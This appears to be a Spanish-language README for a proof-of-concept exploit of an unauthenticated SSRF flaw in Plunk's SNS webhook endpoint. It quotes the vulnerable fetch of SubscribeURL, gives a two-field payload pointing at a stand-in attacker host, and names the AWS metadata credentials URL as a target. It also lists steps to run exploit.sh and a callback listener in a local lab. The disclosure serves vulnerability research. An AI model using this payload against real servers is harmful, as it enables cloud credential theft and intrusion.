
Prueba de concepto de explotación para una vulnerabilidad SSRF en el webhook SNS de Plunk, que demuestra la falsificación de solicitudes del lado del servidor sin autenticación mediante un SubscribeURL no validado.
SSRF mediante SubscriptionConfirmation de AWS SNS sin validar en useplunk/plunk
El endpoint de la API de Plunk POST /webhooks/sns obtiene un SubscribeURL proporcionado por el atacante sin verificar la firma criptográfica de AWS SNS. Un atacante no autenticado puede forzar al servidor a realizar solicitudes HTTP salientes arbitrarias (SSRF).
| Gravedad | Crítica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Archivo afectado | apps/api/src/controllers/Webhooks.ts |
| Autenticación requerida | Ninguna |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — sin validación de firma
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
El payload mínimo consta de solo dos campos:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Inicie el entorno de prueba de Plunk:
docker compose up -d
Inicie el listener de callback SSRF:
python3 listener.py
Ejecute el exploit:
chmod +x exploit.sh
./exploit.sh
Observe el callback recibido en la salida de listener.py, confirmando que el servidor obtuvo la URL controlada por el atacante.
| Archivo | Descripción |
|---|---|
exploit.sh | Script de exploit de extremo a extremo: envía un payload SNS falsificado al endpoint vulnerable |
listener.py | Listener de callback SSRF: captura y registra las solicitudes entrantes del servidor Plunk |
docker-compose.yml | Entorno mínimo de Docker Compose (Postgres, Redis, Plunk) para reproducción local |